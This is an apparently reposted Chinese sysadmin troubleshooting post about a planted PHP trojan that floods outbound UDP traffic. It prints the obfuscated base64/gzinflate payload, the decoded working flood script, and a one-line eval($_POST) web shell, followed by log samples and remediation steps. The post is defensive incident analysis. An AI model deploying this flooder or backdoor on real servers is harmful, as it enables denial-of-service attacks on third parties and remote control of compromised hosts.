php木马导致服务器流出流量很高的排查及临时解决方法

来源:互联网 发布:dirac算法的c语言描述 编辑:程序博客网 时间:2024/05/17 03:45

近段时间服务器上经常出现流出的流量达到百分之八九十左右,很是让人恼火。
对于服务器流量流出100%排查流程及方法:
症状:流出流量偶尔达到98%左右、并持续一段时间。停止iis或停掉80端口后就恢复正常。iis启动之后就又

达到98%左右。
原因:有的网站中存在一个xxx.php文件,文件中有一段加密的代码:代码如下:
<?php eval(gzinflate(base64_decode

('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4

cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0U

MS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nF

BpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh

1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxf

mI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2

JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a

85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5

F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKo

xFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGL

Vowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));

解密后如下:
<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
       
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . "

mB) packets averaging ".
round($packets/$exec_time, 2) . " packets/s /n";
?>
<?php eval($_POST[ddos])?>

访问后会产生类似以下格式的日志和错误日志:
访问日志:2010-08-11 11:36:07 W3SVC156 GET /help.php ip=www.XXXXXXX.com&port=80&time=80

183.20.215.161 - www.AAAAAAA.com 200 527 522
错误日志:
2010-08-12 11:38:04 121.101.212.186 49640 219.136.252.155 80 HTTP/1.1 GET /pic/osa.php?

ip=204.188.212.244&port=80&time=1000 503 598 Disabled AppPool+#11

解决方法:
1、用NetLimiter 2 Pro 查出是由那个进程id 造成流出的流量比较高,再用procexp.exe进程查看工具,查

找出是那个进程池。然后禁掉这个进程池,重启iis之后恢复正常。然后新建一个进程池并对禁掉的进程池里

的站点进行分池,一步一步找到问题站点。
2、直接看错误日志,如果有和以上格式相同的错误日志和访问日志的话,就查找一下访问路径XXX.php 并进

行和以上代码进行对比,如果相同就是此站点影响。并将站点关闭,单独放进程池,并关闭进程池。
3、研究上边一段解密后的代码,查找到相应的函数gzinflate()fsockopen()或并禁止掉。或做相应的防护措施防止此段代码运行。

原创粉丝点击